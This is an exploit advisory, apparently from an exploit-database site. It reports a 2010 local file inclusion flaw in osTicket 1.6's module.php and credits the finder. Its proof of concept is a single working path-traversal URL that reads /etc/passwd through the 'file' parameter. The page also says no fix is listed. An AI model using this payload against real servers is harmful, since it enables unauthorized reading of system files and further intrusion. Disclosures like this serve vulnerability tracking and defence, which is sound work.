osTicket 1.6 - Local File Inclusion

2010-11-09 13:15:18

[~]----------------------------------------------------------------------------------------------------------------------
[~] osTicket - Open Source Support Ticket System (module=osTicket&file=) Local File Inclusion
[~]
[~] http://osticket.com
[~]
[~]
[~] ----------------------------------------------------------------------------------------
[~] Bug founded by d3v1l [Avram Marius]
[~]
[~] Date: 8.11.2010
[~]
[~]
[~] http://security-sh3ll.blogspot.com | http://twitter.com/securityshell
[~]
[~] ----------------------------------------------------------------------------------------
[~] Poc :-
[~]
[~] http://site.com/module.php?module=osTicket&file=../../../../../../../../../../../../../../etc/passwd
[~]
[~]-----------------------------------------------------------------------------------------------------------------------

Fixes

No fixes

In order to submit a new fix you need to be registered.